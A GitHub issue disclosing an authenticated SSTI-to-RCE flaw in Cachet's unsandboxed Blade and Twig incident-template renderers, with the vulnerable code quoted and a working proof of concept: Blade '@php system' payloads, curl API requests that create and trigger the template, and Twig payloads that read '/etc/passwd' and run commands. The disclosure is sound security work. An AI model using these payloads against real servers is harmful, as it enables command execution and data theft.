Skip to content

Authenticated SSTI/RCE via Unsandboxed Template Rendering in Incident Templates #4621

Description

@geo-chen

privately reported on 23 May 2026 but no responses received: https://github.com/cachethq/cachet/security/advisories/GHSA-q3xh-8qcr-jgw3

Summary

Any authenticated Cachet user (including non-admin accounts) can achieve remote code execution on the server by creating an incident template that uses the unsandboxed Blade or Twig rendering engine, then triggering its evaluation by creating an incident. The template content is passed directly to Blade::render() or an unsandboxed Twig\Environment, which executes arbitrary PHP or calls arbitrary PHP functions.

Details

Cachet supports two rendering engines for incident templates: Blade and Twig. Both are implemented without sandboxing.

src/Renderers/BladeRenderer.php:

class BladeRenderer implements Renderer {
    public function render(string $template, array $variables = []): string {
        return Blade::render($template, $variables, deleteCachedView: true);
    }
}

Blade::render() compiles and executes the template string as a Laravel Blade template, which supports arbitrary PHP execution via @php directives and {!! !!} raw output tags.

src/Renderers/TwigRenderer.php:

class TwigRenderer implements Renderer {
    public function render(string $template, array $variables = []): string {
        $env = new Environment(new ArrayLoader([]));
        $template = $env->createTemplate($template);
        return $template->render($variables);
    }
}

A standard Twig\Environment (not SandboxedEnvironment) allows calling PHP functions via Twig filters. The rendering is triggered in src/Actions/Incident/CreateIncident.php (lines 20-26 and 50-66):

public function handle(CreateIncidentRequestData $data): Incident
{
    if (isset($data->template)) {
        $template = IncidentTemplate::query()
            ->where('slug', $data->template)
            ->first();
        $data = $data->withMessage($this->parseTemplate($template, $data));
    }
    // ...
}

private function parseTemplate(IncidentTemplate $template, CreateIncidentRequestData $data): string
{
    $vars = array_merge($data->templateVars, [
        'incident' => ['name' => $data->name, 'status' => $data->status, ...],
    ]);
    return $template->render($vars);
}

The Filament admin panel (src/CachetDashboardServiceProvider.php) restricts access only with Filament\Http\Middleware\Authenticate -- any authenticated user may log in. Only the UserResource has an explicit canAccess(): bool { return auth()->user()->isAdmin(); } check. The IncidentTemplateResource and IncidentResource have no such restriction, so non-admin users can create and manage templates and incidents through the Filament dashboard.

Via the API, the IncidentTemplateController::store() and IncidentController::store() endpoints require the incident-templates.manage and incidents.manage token abilities respectively. API tokens created without specifying abilities default to ['*'] (wildcard), granting all abilities.

Affected files:

  • src/Renderers/BladeRenderer.php (root cause for Blade engine)
  • src/Renderers/TwigRenderer.php (root cause for Twig engine)
  • src/Actions/Incident/CreateIncident.php, lines 20-26, 50-66 (template render trigger)
  • src/Filament/Resources/IncidentTemplates/IncidentTemplateResource.php (missing access control)
  • src/Filament/Resources/Incidents/IncidentResource.php (missing access control)

PoC

Prerequisites: A running Cachet instance; credentials for any authenticated user (non-admin).

Via Filament dashboard (Blade engine):

  1. Log in to the Cachet dashboard as any authenticated user.
  2. Navigate to Incident Templates and create a new template:
    • Name: pwn
    • Slug: pwn
    • Engine: blade
    • Template content:
      @php system('id'); @endphp
      
  3. Navigate to Incidents and create a new incident:
    • Name: test
    • Template: pwn
  4. The server renders the template, executing system('id'). The command output appears in the incident message.

Via API (Blade engine):

# Obtain an API token for any authenticated user (via profile -> API Keys in the dashboard)
TOKEN="YOUR_TOKEN_HERE"
BASE="http://TARGET"

# Step 1: Create malicious template
curl -s -X POST "$BASE/api/v1/incident-templates" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwn","slug":"pwn","engine":"blade","template":"@php echo shell_exec(\"id\"); @endphp"}'

# Step 2: Create incident using the template -- triggers rendering and RCE
curl -s -X POST "$BASE/api/v1/incidents" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","status":1,"template":"pwn","visible":1,"notify":false,"stickied":false}'

Expected: the id command output is present in the incident message in the response JSON.

Twig engine PoC (file read):

Template content using the Twig source() function:

{{ source('/etc/passwd') }}

For command execution via Twig:

{{ ['id']|filter('system') }}

Impact

Any authenticated user -- including those with non-admin (is_admin = false) accounts -- can execute arbitrary operating system commands as the web server process. This gives the attacker full control over the Cachet server: arbitrary file read/write, credential exfiltration, lateral movement, and denial of service. Cachet is commonly used as a public-facing status page and may run in environments alongside other sensitive internal services.

Affected versions: commit d30447a

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions